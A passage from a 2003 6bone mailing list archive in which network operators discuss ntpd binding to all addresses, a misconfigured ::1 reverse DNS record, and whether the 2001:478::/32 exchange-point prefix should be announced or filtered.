| udp6       0      0  fe80:1::202:b3ff.123   *.*
| udp4       0      0  213.136.12.51.123      *.*
|
| AND on the UDP unspecified address in both protocol families:
| udp6       0      0  *.123                  *.*
| udp4       0      0  *.123                  *.*
|
| Is there anybody who can explain this behavior, and perhaps have the
| server bind either to 'the unspecified, thus any' or to a specific IPv4
| IPv6 address ?

From wsx@6com.sk Wed Aug 20 08:17:39 2003
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From: Jan Oravec <jan.oravec@6com.sk>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
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Hello,

> ntpd needs to send responses back using the same IP address that it
> received the original request on.  To track the addresses, it uses
> separate file descriptors.

setsockopt IP_PKTINFO,IPV6_PKTINFO + sendmsg/recvmsg + controlmsg is better
way to do this, you need only single FD.


Regards,

-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net

From frederick.lefebvre@hexago.com Wed Aug 20 08:34:40 2003
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From: Frederick Lefebvre <frederick.lefebvre@hexago.com>
To: Pim van Pelt <pim@ipng.nl>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
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--On Wednesday, August 20, 2003 12:31:17 +0200 Pim van Pelt <pim@ipng.nl> 
wrote:
>
> Is there anybody who can explain this behavior, and perhaps have the
> server bind either to 'the unspecified, thus any' or to a specific IPv4
> IPv6 address ?
>

>From my experience, ntpd seems to bind on all available addresses and there 
is no way to change that behaviour.  I had the same problem when I tried to 
run ntpd from a host with over 200 tunnels...  This was a few months ago 
and at that time, that behavior was hard coded into the sources.

Frederick Lefebvre
--
System and Network administrator
Hexago Inc. / Viagenie
(418)266-5533 #226
------------------------------------------------
http://www.freenet6.net : Free IPv6 Connectivity
------------------------------------------------

From sunday@csh.rit.edu Wed Aug 20 13:07:54 2003
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From: Joe Sunday <sunday@csh.rit.edu>
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I've got a 7507 terminating a couple of test IPv6 tunnels.. But, I
just changed one of the clients from a cable modem to DSL over PPPoE
link, which changes IP whenever the machine resets.

I know quite a few of you that run tunnel brokers have automated scripts
and/or web forms to update your tunnel configurations, for those of
you that terminate tunnels into Cisco routers, how do you script
configuration changes, and does anyone have any example code I can
look at? I figure either Chat/Expect or snmp, but I was wondering what
everyone here uses and if anyone has any pointers.

--Joe


-- 
Joe Sunday <sunday@csh.rit.edu>  http://www.csh.rit.edu/~sunday/
Computer Science House, Rochester Inst. Of Technology

From pim@ipng.nl Wed Aug 20 13:29:42 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
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On Wed, Aug 20, 2003 at 10:28:59AM -0400, Kimmo Suominen wrote:
| Let's see if I understood this correctly way back...
| 
| ntpd needs to send responses back using the same IP address that it
| received the original request on.  To track the addresses, it uses
| separate file descriptors.
I understand this, thanks for the explanation. It sounds like a good
approach, but I do not really want ntpd to bind (and service requests)
from just any IP address. Looking at my list:

| | udp4       0      0  127.0.0.1.123          *.*
| | udp6       0      0  ::1.123                *.*
localhost is not needed.
| | udp6       0      0  fe80:4::1.123          *.*
| | udp6       0      0  fe80:1::202:b3ff.123   *.*
linklocal is not needed.
| | udp6       0      0  2001:7b8:3:2c::5.123   *.*
This is actually 2001:7b8:3:2c::53 , an authoritative nameserver
| | udp6       0      0  2001:7b8:3:2c::1.123   *.*
This is actually 2001:7b8:3:2c::123 (ntp1.bit.nl), the one I'd like ntpd to use
| | udp6       0      0  2001:7b8:3:2c:20.123   *.*
This is the EUI64 address of the machine.
| | udp4       0      0  213.136.12.53.123      *.*
This is the IPv4 address for ntp1.bit.nl.
| | udp4       0      0  213.136.12.52.123      *.*
Caching nameserver .. no ntpd here!
| | udp4       0      0  213.136.12.51.123      *.*
Authoritative nameserver, .. no ntpd here!
| |
| | AND on the UDP unspecified address in both protocol families:
| | udp6       0      0  *.123                  *.*
| | udp4       0      0  *.123                  *.*
What good do these do if we already listen to specific IPs ?

What I'd like is some syntax on the command prompt to force binding of
IPs, such as ntpd -B [2001:7b8:3:2c::123] -B 213.136.12.53, making
the daemon keep its hands off of  IPs it should not be touching.

Anyone care to look into this .. ?
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From fredb@immanent.net Wed Aug 20 16:25:37 2003
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From: Frederick Bruckman <fredb@immanent.net>
To: Pim van Pelt <pim@ipng.nl>
cc: Kimmo Suominen <kim@tac.nyc.ny.us>, 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
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On Wed, 20 Aug 2003, Pim van Pelt wrote:

> On Wed, Aug 20, 2003 at 10:28:59AM -0400, Kimmo Suominen wrote:
> | Let's see if I understood this correctly way back...
> |
> | ntpd needs to send responses back using the same IP address that it
> | received the original request on.  To track the addresses, it uses
> | separate file descriptors.
> I understand this, thanks for the explanation. It sounds like a good
> approach, but I do not really want ntpd to bind (and service requests)
> from just any IP address. Looking at my list:

> | | AND on the UDP unspecified address in both protocol families:
> | | udp6       0      0  *.123                  *.*
> | | udp4       0      0  *.123                  *.*
> What good do these do if we already listen to specific IPs ?

I believe that's to catch IP addresses that were configured after the
daemon was started. There are obvious problems with the entire plan.
Consider the case of symetric peers, where neither node is responding
to a packet from the other, but rather, both try to time it to send
packets at roughly the send time.

> What I'd like is some syntax on the command prompt to force binding of
> IPs, such as ntpd -B [2001:7b8:3:2c::123] -B 213.136.12.53, making
> the daemon keep its hands off of  IPs it should not be touching.

You're not the first person to ask for this on a newsgroup or public
list. HOWEVER, there doesn't seem to be a single request for it in the
list of open bugs on bugzilla.ntp.org (hint).

By the way, there is an "-L" option not to listen to virtual IP's, but
it's a hack that only works on Linux, as the distinction doesn't even
make sense on other OS's. It's not as if you'd necessarily want the
"real" IP, whatever that means, to handle the ntpd traffic anyhow.
For what it's worth, I do like the idea of a "-B" option, but I would
also like an "interface" keyword.

Frederick

From kim@tac.nyc.ny.us Wed Aug 20 17:42:20 2003
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To: Pim van Pelt <pim@ipng.nl>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
In-Reply-To: <20030820202939.GA1749@bfib.colo.bit.nl>
 from Pim van Pelt on Wed, 20 Aug 2003 22:29:39 +0200
References: <200308162201.h7GM10I07478@boreas.isi.edu> <1167630000.1061235049@hades.hexago.com> <20030820103117.GA13169@bfib.colo.bit.nl> <20030820142859.64CF57E43@beowulf.gw.com> <20030820202939.GA1749@bfib.colo.bit.nl>
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I also think more modern versions of ntpd (4.x?) do this all differently.
I was recently tinkering with the code on NetBSD, and when I offered my
changes to one of the ntpd developers, I learned that that section of
the code is being rewritten from scratch.

Hopefully there are directives in the new code to restrict the selection
of IPs to listen to.  I could have a look, but someone like John Klos
might already know the answer (wasn't he just writing to this list on
this thread earlier...).

Regards,
+ Kim


| From:    Pim van Pelt <pim@ipng.nl>
| Date:    Wed, 20 Aug 2003 22:29:39 +0200
|
| On Wed, Aug 20, 2003 at 10:28:59AM -0400, Kimmo Suominen wrote:
| | Let's see if I understood this correctly way back...
| |
| | ntpd needs to send responses back using the same IP address that it
| | received the original request on.  To track the addresses, it uses
| | separate file descriptors.
| I understand this, thanks for the explanation. It sounds like a good
| approach, but I do not really want ntpd to bind (and service requests)
| from just any IP address. Looking at my list:
|
| | | udp4       0      0  127.0.0.1.123          *.*
| | | udp6       0      0  ::1.123                *.*
| localhost is not needed.
| | | udp6       0      0  fe80:4::1.123          *.*
| | | udp6       0      0  fe80:1::202:b3ff.123   *.*
| linklocal is not needed.
| | | udp6       0      0  2001:7b8:3:2c::5.123   *.*
| This is actually 2001:7b8:3:2c::53 , an authoritative nameserver
| | | udp6       0      0  2001:7b8:3:2c::1.123   *.*
| This is actually 2001:7b8:3:2c::123 (ntp1.bit.nl), the one I'd like ntpd to u
| se
| | | udp6       0      0  2001:7b8:3:2c:20.123   *.*
| This is the EUI64 address of the machine.
| | | udp4       0      0  213.136.12.53.123      *.*
| This is the IPv4 address for ntp1.bit.nl.
| | | udp4       0      0  213.136.12.52.123      *.*
| Caching nameserver .. no ntpd here!
| | | udp4       0      0  213.136.12.51.123      *.*
| Authoritative nameserver, .. no ntpd here!
| | |
| | | AND on the UDP unspecified address in both protocol families:
| | | udp6       0      0  *.123                  *.*
| | | udp4       0      0  *.123                  *.*
| What good do these do if we already listen to specific IPs ?
|
| What I'd like is some syntax on the command prompt to force binding of
| IPs, such as ntpd -B [2001:7b8:3:2c::123] -B 213.136.12.53, making
| the daemon keep its hands off of  IPs it should not be touching.
|
| Anyone care to look into this .. ?

From fredb@immanent.net Wed Aug 20 20:51:50 2003
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Date: Wed, 20 Aug 2003 22:49:25 -0500 (CDT)
From: Frederick Bruckman <fredb@immanent.net>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 NTP testing
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On Wed, 20 Aug 2003, Kimmo Suominen wrote:

> I also think more modern versions of ntpd (4.x?) do this all differently.
> I was recently tinkering with the code on NetBSD, and when I offered my
> changes to one of the ntpd developers, I learned that that section of
> the code is being rewritten from scratch.
>
> Hopefully there are directives in the new code to restrict the selection
> of IPs to listen to.  I could have a look, but someone like John Klos
> might already know the answer (wasn't he just writing to this list on
> this thread earlier...).

Yes, that part of the code has changed since NetBSD's last import --
for one thing, it now supports IPv6 -- but no, it still binds all the
IP addresses. I predict it will take nothing short of a proper bug
report on http://bugzilla.ntp.org to get that fixed.

Frederick

From jhay@zibbi.icomtek.csir.co.za Wed Aug 20 21:07:59 2003
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From: John Hay <jhay@icomtek.csir.co.za>
To: Frederick Bruckman <fredb@immanent.net>
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Subject: Re: [6bone] IPv6 NTP testing
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On Wed, Aug 20, 2003 at 06:24:41PM -0500, Frederick Bruckman wrote:
> On Wed, 20 Aug 2003, Pim van Pelt wrote:
> 
> > On Wed, Aug 20, 2003 at 10:28:59AM -0400, Kimmo Suominen wrote:
> > | Let's see if I understood this correctly way back...
> > |
> > | ntpd needs to send responses back using the same IP address that it
> > | received the original request on.  To track the addresses, it uses
> > | separate file descriptors.
> > I understand this, thanks for the explanation. It sounds like a good
> > approach, but I do not really want ntpd to bind (and service requests)
> > from just any IP address. Looking at my list:
> 
> > | | AND on the UDP unspecified address in both protocol families:
> > | | udp6       0      0  *.123                  *.*
> > | | udp4       0      0  *.123                  *.*
> > What good do these do if we already listen to specific IPs ?
> 
> I believe that's to catch IP addresses that were configured after the
> daemon was started. There are obvious problems with the entire plan.
> Consider the case of symetric peers, where neither node is responding
> to a packet from the other, but rather, both try to time it to send
> packets at roughly the send time.
> 
> > What I'd like is some syntax on the command prompt to force binding of
> > IPs, such as ntpd -B [2001:7b8:3:2c::123] -B 213.136.12.53, making
> > the daemon keep its hands off of  IPs it should not be touching.
> 
> You're not the first person to ask for this on a newsgroup or public
> list. HOWEVER, there doesn't seem to be a single request for it in the
> list of open bugs on bugzilla.ntp.org (hint).
> 
> By the way, there is an "-L" option not to listen to virtual IP's, but
> it's a hack that only works on Linux, as the distinction doesn't even
> make sense on other OS's. It's not as if you'd necessarily want the
> "real" IP, whatever that means, to handle the ntpd traffic anyhow.
> For what it's worth, I do like the idea of a "-B" option, but I would
> also like an "interface" keyword.

Guys, if you are really serious about this feature, get the latest
ntp-dev code from bitkeeper, implement it and send it as a patch to
bugzilla.ntp.org. :-) Really. I don't think any of us are against
the idea, it is just the people working on ntp are mostly volunteers
with other targets on their agendas. Oh, and test it for the different
kinds of ntp setups, especially autokey because that is one of the
reasons that ntpd needs to know the addresses.

John
-- 
John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org

From bmanning@ISI.EDU Thu Sep  4 02:56:38 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: [6bone] 2001:478::  as /48
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 	Something for folks to remember.


From: Bill Manning <bmanning@ISI.EDU>
Subject: 2001:478::  as /48
To: 6bone@ISI.EDU
Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)

this prefix has/is being carved up into /48 and /64 subnets for
use at exchange points and other infrastructure support services.

Do not expect to see it aggregated. 

-- bill manning

From wsx@6com.sk Thu Sep  4 04:36:14 2003
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Date: Thu, 4 Sep 2003 13:35:51 +0200
From: Jan Oravec <jan.oravec@6com.sk>
To: hostmaster@nic.fr, hostmaster@ep.net
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Subject: [6bone] ::1 PTR DNS record
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Hello,


reverse record for ::1 points to localhost.nic.fr, because there is PTR
record for ::1 on ns3.nic.fr, which is NS for ip6.int. Please fix.


$ dig 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int ptr @ns3.nic.fr
                                                                                                
; <<>> DiG 9.2.3rc1 <<>> 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int ptr @ns3.nic.fr
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54315
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
                                                                                                
;; QUESTION SECTION:
;1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int. IN PTR
                                                                                                
;; ANSWER SECTION:
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int. 691200 IN PTR localhost.nic.fr.
                                                                                                
;; AUTHORITY SECTION:
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int. 691200 IN NS ns3.nic.fr.
                                                                                                
;; ADDITIONAL SECTION:
ns3.nic.fr.             345600  IN      A       192.134.0.49
ns3.nic.fr.             345600  IN      AAAA    2001:660:3006:1::1:1
                                                                                                
;; Query time: 329 msec
;; SERVER: 2001:660:3006:1::1:1#53(ns3.nic.fr)
;; WHEN: Thu Sep  4 13:29:14 2003
;; MSG SIZE  rcvd: 181


Best Regards,

Jan


-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net

From jeroen@unfix.org Thu Sep  4 06:07:49 2003
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Subject: RE: [6bone] 2001:478::  as /48
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-----BEGIN PGP SIGNED MESSAGE-----

Bill Manning wrote:

>  	Something for folks to remember.
> 
> 
> From: Bill Manning <bmanning@ISI.EDU>
> Subject: 2001:478::  as /48
> To: 6bone@ISI.EDU
> Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
> 
> this prefix has/is being carved up into /48 and /64 subnets for
> use at exchange points and other infrastructure support services.

IX Prefixes by the RIR's come out of:
 - 2001:7f8::/32 
 - 2001:504::/32 
 - 2001:7fa::/32 

Which RFC/draft/... made this prefix so special ?

> Do not expect to see it aggregated. 

I would suggest that if you want it to be routable that one
entity announces the /32 that is not going to be filtered.
This way the more specific will still allow it to be reachable.

Checking GRH (http://www.sixxs.net/tools/grh/lg/?format=raw&find=2001:478::/32)

# Space seperated, format:
# [prefix] [flags] [nexthop] [pref] [metric] [origin] [aspath]
# RAW DUMP START
#
# Participant: SixXS - GRH Route View http://www.sixxs.net (8298)
#
# Note: Subnet of 2001:478::/32 
2001:478::/45     2001:610:25:5062::62  IGP 1103 11537 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478::/45     2001:470:1fff:3::3    IGP 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478::/45     2001:1418:1:400::1    IGP 12779 3549 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478::/45     2001:610:ff:c::2      IGP 1888 1103 11537 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478:65::/48  2001:610:25:5062::62  IGP 1103 11537 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478:65::/48  2001:470:1fff:3::3    IGP 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478:65::/48  2001:1418:1:400::1    IGP 12779 3549 6939 109 4555
# Note: Subnet of 2001:478::/32 
2001:478:65::/48  2001:610:ff:c::2      IGP 1888 1103 11537 6939 109 4555
# RAW DUMP END

Hmm they are all sourced from AS4555, one could aggregate
those with ease. Especially as only chello/upc (6939) and
cisco (109) are the only ones doing the transit.
Either there are no other transits or people wisely filter:
http://www.space.net/~gert/RIPE/ipv6-filters.html

Apparently 3ffe::/24 and 3ffe:800::/24 also are originated from 4555:
http://www.sixxs.net/tools/grh/lg/?findtype=origin&find=4555

Btw what is the status of 6bone's ip6.arpa?

Greets,
 Jeroen

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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From pim@ipng.nl Thu Sep  4 08:11:40 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478::  as /48
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| From: Bill Manning <bmanning@ISI.EDU>
| Subject: 2001:478::  as /48
| To: 6bone@ISI.EDU
| Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
| 
| this prefix has/is being carved up into /48 and /64 subnets for
| use at exchange points and other infrastructure support services.
Please, tell me that you are not saying that you will pollute my routing
table with /64s now already ?

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From kato@wide.ad.jp Thu Sep  4 08:35:02 2003
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To: bmanning@ISI.EDU
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Subject: Re: [6bone] 2001:478:: as /48
From: Akira Kato <kato@wide.ad.jp>
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> this prefix has/is being carved up into /48 and /64 subnets for
> use at exchange points and other infrastructure support services.

> Do not expect to see it aggregated. 

I have a question: do we need to make such a prefix assigned to
an exchange point reachable globally?

Provided if every ISP uses "next-hop-self" to their I-BGP peering, the
addresses on an IX is used only for E-BGP peering. What we loose if
nobody advertises the IX prefix globally (or even locally)?

If the address is not globally reachable, it is impossible to send
packets to the routers on the IX and this will be a measure for the
remote DoS attack if not perfect.

In order to make traceroute happy we may need to establish a DNS zone
for reverse lookup. But such a DNS server does not have to be on the
IX.

Akira Kato, WIDE Project
P.S.
This discussion is also applicable to IPv4...




From rrockell@sprint.net Thu Sep  4 09:43:22 2003
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Subject: Re: [6bone] 2001:478:: as /48
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I agree with this.  As long as the IP address allocation is used only as
next-hop for prefixes exchanges across some fabric, the DMZ prefix does not
need to be exported outside of the routing domain of the exchange member.

Only time this runs into a problem is when people do something silly like
put a root-server ON the exchange fabric, and use the exchange IP space for
it's host address... My jab at the root-server is also applicable to IPv4
:)

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
It's just a little pin prick...
-----------------------------------------------------------------------

On Fri, 5 Sep 2003, Akira Kato wrote:

->
->> this prefix has/is being carved up into /48 and /64 subnets for
->> use at exchange points and other infrastructure support services.
->
->> Do not expect to see it aggregated.
->
->I have a question: do we need to make such a prefix assigned to
->an exchange point reachable globally?
->
->Provided if every ISP uses "next-hop-self" to their I-BGP peering, the
->addresses on an IX is used only for E-BGP peering. What we loose if
->nobody advertises the IX prefix globally (or even locally)?
->
->If the address is not globally reachable, it is impossible to send
->packets to the routers on the IX and this will be a measure for the
->remote DoS attack if not perfect.
->
->In order to make traceroute happy we may need to establish a DNS zone
->for reverse lookup. But such a DNS server does not have to be on the
->IX.
->
->Akira Kato, WIDE Project
->P.S.
->This discussion is also applicable to IPv4...
->
->
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From nsp-security@enterzone.net Thu Sep  4 09:44:33 2003
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From: John Fraizer <tvo@enterzone.net>
To: Jeroen Massar <jeroen@unfix.org>
cc: "'Bill Manning'" <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: RE: [6bone] 2001:478::  as /48
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On Thu, 4 Sep 2003, Jeroen Massar wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Bill Manning wrote:
> 
> >  	Something for folks to remember.
> > 
> > 
> > From: Bill Manning <bmanning@ISI.EDU>
> > Subject: 2001:478::  as /48
> > To: 6bone@ISI.EDU
> > Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
> > 
> > this prefix has/is being carved up into /48 and /64 subnets for
> > use at exchange points and other infrastructure support services.
> 
> IX Prefixes by the RIR's come out of:
>  - 2001:7f8::/32 
>  - 2001:504::/32 
>  - 2001:7fa::/32 
> 
> Which RFC/draft/... made this prefix so special ?
> 

I guess you didn't notice who had sent the message, or his email address,
and are not familiar with what Bill does.

Take a look at http://www.ep.net/

Bill manages the address space for MANY, MANY, MANY exchange points.

[whois.arin.net]

OrgName:    EP.NET, LLC.
OrgID:      V6EP
Address:    PO 12317
City:       Marina del Rey
StateProv:  CA
PostalCode: 90295
Country:    US

NetRange:   2001:0478:0000:0000:0000:0000:0000:0000 - 2001:0478:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF
CIDR:       2001:0478:0000:0000:0000:0000:0000:0000/32
NetName:    EP-NET
NetHandle:  EP-NET-NET
Parent:     ARIN-001
NetType:    Direct Allocation
NameServer: FLAG.EP.NET
NameServer: Z.IP6.INT
Comment:
RegDate:    2001-05-21
Updated:    2002-08-05

TechHandle: WM110-ARIN
TechName:   Manning, Bill
TechPhone:  +1-310-322-8102
TechEmail:  bmanning@karoshi.com



--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4






From andrew@2sheds.de Thu Sep  4 10:06:08 2003
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From: Andrew Miehs <andrew@2sheds.de>
Subject: Re: [6bone] 2001:478:: as /48
Date: Thu, 4 Sep 2003 19:06:05 +0200
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I, on the other hand, do not agree with NOT announcing this block.

If something is sitting on the Internet, it requires an IP Address, and 
this
address should be reachable from everywhere at every time. ESPECIALLY
if it is something as important as a router.

<rant>
I find trying to 'hide' router interfaces for security purposes has 
nothing
to do with security. I don't like it when my traceroutes don't work, 
and it
makes debugging a lot more difficult, and who knows, one day we will
end up in a situation, where things do not work 100% because we all
used this shortcut. See path MTU discover and security experts dropping
all ICMP messages on their firewalls.
</rant>

my 2c worth.

Regards

Andrew Miehs

On Thursday, September 4, 2003, at 18:48PM, Robert J. Rockell wrote:

> I agree with this.  As long as the IP address allocation is used only 
> as
> next-hop for prefixes exchanges across some fabric, the DMZ prefix 
> does not
> need to be exported outside of the routing domain of the exchange 
> member.
>
> On Fri, 5 Sep 2003, Akira Kato wrote:
>
> ->
> ->If the address is not globally reachable, it is impossible to send
> ->packets to the routers on the IX and this will be a measure for the
> ->remote DoS attack if not perfect.


From stuart@tech.org Thu Sep  4 10:45:28 2003
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To: Akira Kato <kato@wide.ad.jp>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478:: as /48 
In-reply-to: Your message of "Fri, 05 Sep 2003 00:34:43 +0900."
             <20030905.003443.39013416.kato@wide.ad.jp> 
Date: Thu, 04 Sep 2003 10:45:21 -0700
From: Stephen Stuart <stuart@tech.org>
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> Provided if every ISP uses "next-hop-self" to their I-BGP peering, the
> addresses on an IX is used only for E-BGP peering. What we loose if
> nobody advertises the IX prefix globally (or even locally)?

We lose:

- In combination with RPF checking, we would lose the ability to see a
  traceroute through an exchange point (assuming that the ICMP
  feedback was sourced using the IX-connected address).

- The ability to ping the near and far sides of an exchange point
  boundary from a distance; this is sometimes useful for determining
  the character of asymmetric routing (when the RTTs for near and far
  side vary greatly).

I would prefer to keep these as diagnostic tools.

Stephen

From jeroen@unfix.org Thu Sep  4 11:57:55 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'John Fraizer'" <tvo@enterzone.net>
Cc: "'Bill Manning'" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: RE: [6bone] 2001:478::  as /48
Date: Thu, 4 Sep 2003 20:57:48 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

John Fraizer wrote:

> On Thu, 4 Sep 2003, Jeroen Massar wrote:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > Bill Manning wrote:
> > 
> > >  	Something for folks to remember.
> > > 
> > > 
> > > From: Bill Manning <bmanning@ISI.EDU>
> > > Subject: 2001:478::  as /48
> > > To: 6bone@ISI.EDU
> > > Date: Sun, 21 Jul 2002 09:16:40 -0700 (PDT)
> > > 
> > > this prefix has/is being carved up into /48 and /64 subnets for
> > > use at exchange points and other infrastructure support services.
> > 
> > IX Prefixes by the RIR's come out of:
> >  - 2001:7f8::/32 
> >  - 2001:504::/32 
> >  - 2001:7fa::/32 
> > 
> > Which RFC/draft/... made this prefix so special ?
> > 
> 
> I guess you didn't notice who had sent the message, or his 
> email address,
> and are not familiar with what Bill does.
> 
> Take a look at http://www.ep.net/
> 
> Bill manages the address space for MANY, MANY, MANY exchange points.
> 
> [whois.arin.net]
> 
> OrgName:    EP.NET, LLC.
> OrgID:      V6EP

I know who Bill is and what he does, but I don't understand
why in ARIN space a company uses it's *own* /32 as IX prefixes
and then suddenly expects it to be handled like the *dedicated*
IX prefixes of which there is one in each RIR.

And the fun part is that there is no announcement of the /32
but the whole world suddenly is expected to just allow /48's
and other stuff from it. Is everybody suddenly going to do this?
Bypassing established policies and thinking up whatever they
want? In that case we can just start our own IANA and start
giving out IPv6 and making policies. It is a global internet
and everybody is equal abiding the policies. If the policy
is wrong then we'll have to amend the policy.

Check http://www.ripe.net/ipv6/ipv6allocs.html at the bottom:

ARIN    10 (including all MAE's and NYIIX and EQUINIX)
RIPE    33
APNIC    9
LACNIC   0
AFRINIC  0

Greets,
 Jeroen

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From jeroen@unfix.org Thu Sep  4 12:06:14 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Andrew Miehs'" <andrew@2sheds.de>, <6bone@ISI.EDU>
Subject: RE: [6bone] 2001:478:: as /48
Date: Thu, 4 Sep 2003 21:06:05 +0200
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Andrew Miehs wrote:

> I, on the other hand, do not agree with NOT announcing this block.
<SNIP>

So suddenly 2001:478::/32 is handled as an IX Prefix?
Thus we got a new so-proclaimed RIR in the US then making up
their own policies?

2001:478::/32 is a *normal* TLA and it should be handled as such.
The owner could request people to not filter it on more specifics
but they CAN'T demand it. As there is no /32 being announced the
owner of this TLA can simply expect that they are not reachable
globally. The same thing goes for IX prefixes, filter on allocation
boundaries. Thus check http://www.space.net/~gert/RIPE/ipv6-filters.html

Every ISP has a choice to filter or to not to filter, it's your net.

Btw... you peer with 2001:db8::1 from 2001:db8::2, the exchange
fabric dies, you still get a route via your transit and suddenly
all your traffic is going over your transit link.... go figure.
This is something that happened last week on AMS-IX when they
migrated from /24 -> /23 and people announced AND some accepted
the /24 which is a more specific to the /23 and tada your peers
fail odd eh?

Greets,
 Jeroen

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From michel@arneill-py.sacramento.ca.us Thu Sep  4 12:24:21 2003
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> Pim van Pelt wrote:
> Please, tell me that you are not saying that you will
> pollute my routing table with /64s now already ?

We lost that battle already, from where I stand there no point wasting
more energy in fighting it. The IPv6 routing table will become the same
swamp as the v4 one. What you and Jeroen and Gert are doing is great,
but you will eventually be overwhelmed by the dark side.

Michel.


From pekkas@netcore.fi Thu Sep  4 12:24:39 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Stephen Stuart <stuart@tech.org>
cc: Akira Kato <kato@wide.ad.jp>, <6bone@ISI.EDU>
Subject: Re: [6bone] 2001:478:: as /48 
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On Thu, 4 Sep 2003, Stephen Stuart wrote:
> We lose:
> 
> - In combination with RPF checking, we would lose the ability to see a
>   traceroute through an exchange point (assuming that the ICMP
>   feedback was sourced using the IX-connected address).

You would be running "strict RPF" checking towards your upstreams?  
Otherwise I fail to see how RPF checking would get broken here.
 
> - The ability to ping the near and far sides of an exchange point
>   boundary from a distance; this is sometimes useful for determining
>   the character of asymmetric routing (when the RTTs for near and far
>   side vary greatly).

Ping a loopback address of a remote router and compare to ping to your 
local router?

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From nsp-security@enterzone.net Thu Sep  4 12:25:12 2003
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cc: "'Bill Manning'" <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: RE: [6bone] 2001:478::  as /48
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On Thu, 4 Sep 2003, Jeroen Massar wrote:

> I know who Bill is and what he does, but I don't understand
> why in ARIN space a company uses it's *own* /32 as IX prefixes
> and then suddenly expects it to be handled like the *dedicated*
> IX prefixes of which there is one in each RIR.

How about because there was at least ONE v6 exchange point in the US
running on address space from 2001:478:: BEFORE ARIN decided to to make
use of 2001:504:: for this purpose.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
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From jeroen@unfix.org Thu Sep  4 12:45:32 2003
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Subject: RE: [6bone] 2001:478::  as /48
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John Fraizer [mailto:tvo@enterzone.net] wrote:

> On Thu, 4 Sep 2003, Jeroen Massar wrote:
> 
> > I know who Bill is and what he does, but I don't understand
> > why in ARIN space a company uses it's *own* /32 as IX prefixes
> > and then suddenly expects it to be handled like the *dedicated*
> > IX prefixes of which there is one in each RIR.
> 
> How about because there was at least ONE v6 exchange point in the US
> running on address space from 2001:478:: BEFORE ARIN decided 
> to to make use of 2001:504:: for this purpose.

That is a plausible reason, but it still doesn't simply allow
anyone (okay Bill isn't just the next guy :) to just claim
that their *normal* TLA is a special IX prefix let alone that
it should be handled completely differently because of that reason.

First good step would be if the /32 would be announced if he
